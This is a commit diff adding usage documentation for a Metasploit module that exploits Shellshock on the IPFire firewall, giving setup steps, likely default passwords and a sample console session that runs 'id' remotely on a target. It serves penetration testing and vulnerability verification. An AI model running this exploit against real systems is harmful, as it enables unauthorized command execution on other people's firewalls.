first add of ipfire shellshock

documentation/modules/exploit/linux/http/ipfire_bashbug_exec.md

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+The following is the recommended format for module documentation.
+But feel free to add more content/sections to this.
+
+
+## Vulnerable Application
+
+  Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso)
+  Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
+
+## Verification Steps
+
+  Example steps in this format:
+
+  1. Install the firewall
+  2. Start msfconsole
+  3. Do: ```use exploit/linux/http/ipfire_bashbug_exec```
+  4. Do: ```set rhost 10.10.10.10```
+  5. Do: ```set CMD ls```
+  6. Do: ```run```
+  7. You should see the output of the command that was run.
+
+## Options
+
+  **PASSWORD**
+
+  Password is set at install.  May be blank, 'admin', or 'ipfire'.
+  
+  **CMD**
+  
+  This is the command to run on the system.
+
+## Scenarios
+
+  Example of running the ID command
+  ```
+    msf > use exploit/linux/http/ipfire_bashbug_exec 
+    msf exploit(ipfire_bashbug_exec) > set PASSWORD admin
+    PASSWORD => admin
+    msf exploit(ipfire_bashbug_exec) > set rhost 192.168.2.202
+    rhost => 192.168.2.202
+    msf exploit(ipfire_bashbug_exec) > set CMD id
+    CMD => id
+    msf exploit(ipfire_bashbug_exec) > exploit
+    
+    [+] uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
+    [*] Exploit completed, but no session was created.
+  ```